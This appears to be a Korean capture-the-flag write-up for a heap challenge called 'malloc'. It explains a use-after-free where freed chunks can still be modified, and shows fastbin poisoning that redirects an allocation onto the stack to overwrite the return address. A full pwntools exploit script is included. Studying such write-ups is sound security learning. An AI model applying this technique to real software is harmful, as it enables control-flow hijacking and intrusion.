우선 malloc을 실행해보면, 아래와 같은 메뉴를 볼 수 있다.
이 때 free한 뒤에도 modify가 가능하다.
그 이유는 malloc시 chunk_list에 넣고, modify 시에도 chunk_list에서 수정할 주소를 얻어오는데
free할 때 chunk_list에서 삭제하지 않기 때문이다.
따라서 이번 문제는 malloc한 뒤 free하여 fastbin에 들어가게 한 뒤, fd에 스택 값을 넣고 ret를 덮으면 풀 수 있다.
더 자세히 쓰면 아래와 같다.
malloc 32, 'a'*31
malloc 32, 'b'*31
free 1
free 2
modify 2, stack_addr
malloc 32, 'c'*31
malloc 49, 'd'*24 + RET
malloc 하는 size는 32로 같게 하였다.
먼저 fd 값을 덮어 쓸 스택 주소를 정해야 한다. 주의할 점은 size 값과 동일한 값이 들어있어야 한다.
이 것은 malloc하는 함수를 보면 해결할 수 있다.
size를 입력받아 저장하기 때문에 size변수보다 8 작은 주소를 주면 된다.
(출력된 stack 주소 - size변수와의 offset(0x50) - 8)
RET까지 떨어진 크기를 계산해 'd'를 24만큼 채웠다. 이제 RET를 덮을 값만 결정하면 된다.
그런데 바이너리를 보면 system('cat flag')를 호출하는 함수가 존재한다.
따라서 이 함수의 주소를 넣어줄 것이다.
exploit.py
from pwn import *
def malloc(size, data):
# select menu\n >
print p.recvuntil('>')
p.sendline('1')
# Enter size :
print p.recvuntil(':')
p.sendline(size)
# Enter data :
print p.recvuntil(':')
p.sendline(data)
def free(chunk_num):
# select menu\n >
print p.recvuntil('>')
p.sendline('2')
# Which one do you want to free :
print p.recvuntil(':')
p.sendline(chunk_num)
def modify(chunk_num, data):
# select menu\n >
print p.recvuntil('>')
p.sendline('4')
# Which chunk do you want to modify :
print p.recvuntil(':')
p.sendline(chunk_num)
# Enter data :
print p.recvuntil(':')
p.sendline(data)
p = process('./malloc')
# get stack base
stack_base = p.recvline().split('Stack Address : ')[1].strip()
cat_flag = p64(0x400986)
malloc('32', 'a'*31)
malloc('32', 'b'*31)
free('1')
free('2')
modify('2', p64(int(stack_base, 16) - 0x58))
malloc('32', 'c'*31)
malloc('49', 'd'*24 + cat_flag)
p.interactive()
댓글